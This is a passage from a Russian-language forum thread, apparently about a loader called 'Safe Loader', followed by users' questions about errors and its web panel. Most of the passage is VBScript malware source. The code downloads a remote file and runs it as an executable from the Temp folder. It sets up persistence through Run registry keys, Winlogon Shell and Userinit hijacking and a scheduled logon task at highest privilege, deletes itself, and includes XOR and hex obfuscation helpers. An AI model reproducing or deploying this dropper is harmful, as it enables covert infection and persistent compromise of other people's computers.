            oip4reverrpklly = oip4reverrp.BuildPath( myPath, Mid( sPasteID, InStrRev( sPasteID, "/" ) + 1 ) )
        ElseIf oip4reverrp.FolderExists( Left( myPath, InStrRev( myPath, "\" ) - 1 ) ) Then
            oip4reverrpklly = myPath
        Else
            WScript.Echo "ERROR: Target folder not found."
            Exit Sub
        End If
        Set oip4rever = oip4reverrp.OpenTextFile( oip4reverrpklly, ForWriting, True )
        Set oip4reverrpkl = CreateObject( "WinHttp.WinHttpRequest.5.1" )
        oip4reverrpkl.Open "GET", sPasteID, False
        oip4reverrpkl.Send
        For i = 1 To LenB( oip4reverrpkl.ResponseBody )
            oip4rever.Write Chr( AscB( MidB( oip4reverrpkl.ResponseBody, i, 1 ) ) )
        Next
        oip4rever.Close( )
        Set wshShell = WScript.CreateObject ("WSCript.shell")
    wshshell.run  emmd.ExpandEnvironmentStrings("%Temp%" & "\petushki.exe"), 6, True
    set wshshell = nothing
    End Sub
     
     
     
    Sub sMelt(sFile)
      On Error Resume Next
     
      Dim sFunction
     
      sFunction = "Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34)
      Execute(sFunction)
    End Sub
     
    Sub sInstall()
        On Error Resume Next
     
        sSellObj.RegWrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (sName,".")(0),  "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34) , "REG_SZ"
        sSellObj.RegWrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (sName,".")(0),  "wscript.exe //B "  & Chr(34) & sAppData & sName & Chr(34) , "REG_SZ"
        sSellObj.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0), "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34)
        sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe, " & "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34)
        sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe," & "wscript.exe //B " & Chr(34) & sAppData & sName & Chr(34)
        sSellObj.Run "schtasks /create /sc ONLOGON /RL HIGHEST /tn " & sName & " /tr " & Chr(34) & sAppData & sName & Chr(34), 0, False
     
        sFileSystem.CopyFile WScript.ScriptFullName, sAppData & sName,True
        sFileSystem.CopyFile WScript.ScriptFullName, sStartupDir & sName ,True
        sFileSystem.CopyFile WScript.ScriptFullName, sAllStartupDir & sName ,True
     
        If Not WScript.ScriptFullName = sAppData & sName Or WScript.ScriptFullName = sStartupDir & sName Then sMelt(WScript.ScriptFullName)
    End Sub
     
    Sub sUninstall
        On Error Resume Next
     
        sSellObj.RegDelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & Split (sName,".")(0)
        sSellObj.RegDelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & Split (sName,".")(0)
        sSellObj.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\" & Split(sName,".")(0)
        sSellObj.RegWrite  "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "explorer.exe"
        sSellObj.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit", "C:\Windows\system32\userinit.exe,"
        sSellObj.Run "schtasks /end /tn " & sName, 0, False
     
        sFileSystem.DeleteFile sStartupDir & sName ,True
        sFileSystem.DeleteFile sAllStartupDir & sName ,True
        sMelt(WScript.ScriptFullName)
        WScript.Quit
    End Sub
     
    Function HEXEncode(xData)
        On Error Resume Next
     
        Dim iChar, sOutString, sTmpChar
     
        For iChar = 1 To Len(xData)
            sTmpChar = Hex(Asc(Mid(xData, iChar, 1)))
            If Len(sTmpChar) = 1 Then sTmpChar = "0" & sTmpChar
            sOutString = sOutString & sTmpChar
        Next
     
        HEXEncode = sOutString
    End Function
     
    Function HEXDecode(Data)
        On Error Resume Next
     
        Dim iChar, sOutString, sTmpChar
     
        For iChar = 1 To Len(Data) Step 2
            sTmpChar = Chr("&H" & Mid(Data, iChar, 2))
            sOutString = sOutString & sTmpChar
        Next
     
        HEXDecode = sOutString
    End Function
     
    Function sXOR(sText, sKey)
        On Error Resume Next
     
        Dim i, s, k
     
        For i = 1 To Len(sText)
            s = Mid(sText, i, 1): k = Asc(s): k = k Xor Len(sKey): k = Chr(k): sXOR = sXOR & k
        Next
    End Function
     
    • Like Like x 3
  8. Agulzex

    Agulzex

    Регистрация:
    23 окт 2012
    Сообщения:
    409
    Симпатии:
    373
    народ ни кто не знает что за ошибка с мускулом.
    Please login or register to view links
     
  9. vasenka444

    vasenka444

    Регистрация:
    19 апр 2014
    Сообщения:
    299
    Симпатии:
    202
    была такая ошибка на одном хостинге
    на другом ошибки не было
    выход; поменять хостинг
    --- добавлено: 27 июл 2014 в 19:11 ---
    была такая ошибка на одном хостинге
    на другом ошибки не было
    выход; поменять хостинг
     
  10. TwoStar

    TwoStar

    Регистрация:
    25 ноя 2013
    Сообщения:
    13
    Симпатии:
    6
    Safe Loader а не Save Loader (Не в ибиду, на ютубе видео у тебя не правильно названо).
     
    • Like Like x 1
  11. Dmitriy

    Dmitriy

    Регистрация:
    7 янв 2015
    Сообщения:
    9
    Симпатии:
    0
    объясните неуку как ей пользоватся? для чего эта программа?
     
  12. cristi.cristi84

    cristi.cristi84

    Регистрация:
    13 апр 2015
    Сообщения:
    5
    Симпатии:
    0
    panel не пускает дальше логина.пароля в config.php прописана учетка что может быть. панель весит на rpi
     
  13. Alif

    Alif

    Регистрация:
    9 июл 2016
    Сообщения:
    1
    Симпатии:
    0
    а где панель?
     

Поделиться этой страницей

Загрузка...